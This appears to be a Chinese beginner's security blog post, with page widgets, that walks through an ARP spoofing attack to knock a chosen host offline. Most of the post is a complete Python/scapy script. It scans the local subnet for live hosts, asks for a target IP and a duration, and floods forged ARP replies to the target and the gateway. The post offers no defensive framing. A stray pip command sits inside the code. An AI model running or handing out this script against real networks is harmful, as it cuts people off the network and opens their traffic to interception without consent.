ARP攻击初探

@ARP攻击初探

第一步思路

1.攻击指定的IP实现断网——ARP
2.原理:通过扫描当前攻击机的IP地址,得到内网的所有IP所在网关
3.组成ARP数据包,对网关内的主机先发起ping,寻找到存活的主机
4.获得存活主机列表,选择需要攻击的ip,发起攻击

步骤

  1. 获得当前的IP及网关route print
  2. 封装ARP数据包,以太网的包结构形式来发起ping,得到存活主机列表
  3. 得到存活主机列表
  4. 选择需要攻击或阻网IP
  5. ARP攻击(封包/发包)—》代理,抓包
  6. 设置攻击时常

具体实现代码如下

import os
import time
from scapy.all import *

pip install scapy

def scan2spoof():
	netcard = 'Realtek Gaming GbE Family Controller'#攻击使用的网卡
	cmdcode = 'route print'

	# 执行CMD命令获得当前主机IP和网关
	for line in os.popen(cmdcode):
		# 通过line获得IPv4和网关
		s = line.strip()
		if s.startswith('0.0.0.0'):
			iplist = s.split()
			ip = iplist[3]#当前IP
			gw = iplist[2]#网关
			# print(ip)
			# print(gw)
			break
	print("使用的网卡是:{}".format(netcard))
	print("本机的上网IP:{}".format(ip))
	print("本机的上网网关:{}".format(gw))

	# 封装一个ARP的数据包,符合以太网的包定义
	arppk = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=gw+"/24")
	ansip,unansip = srp(arppk,iface=netcard,timeout=2,verbose=0)
	print("扫描到{}台在线主机".format(len(ansip)))
	print("扫描到{}台不在线主机".format(len(unansip)))
	
	ansresip = []
	for s,r in ansip:
		ansresip.append([r.psrc,r.hwsrc])#ip,mac
	ansresip.sort()#去重排序
	for ip,mac in ansresip:
		print(ip,"------->",mac)

	#代理/抓包
	# 阻断网络
	vip = input("请输入需要攻击的IP:")
	ttl = int(input("请输入需要攻击的时间(秒):"))#一般测试观察用的话设置20秒左右
	# 以下实现arp攻击即可
	for i in range(ttl*5):
		sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=vip,psrc=gw),verbose=0)
		sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=gw,psrc=vip),verbose=0)
		time.sleep(0.2)
	print("对{}的ARP攻击完成".format(vip))

if __name__ == '__main__':
	scan2spoof()

插入链接与图片

作者博客: buzhimingderen.

在这里插入图片描述

最后

我是一名小白,刚刚接触安全领域,我尽量坚持在以后的日子里,每周坚持发2-5篇博客。只是以此来激励自己。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值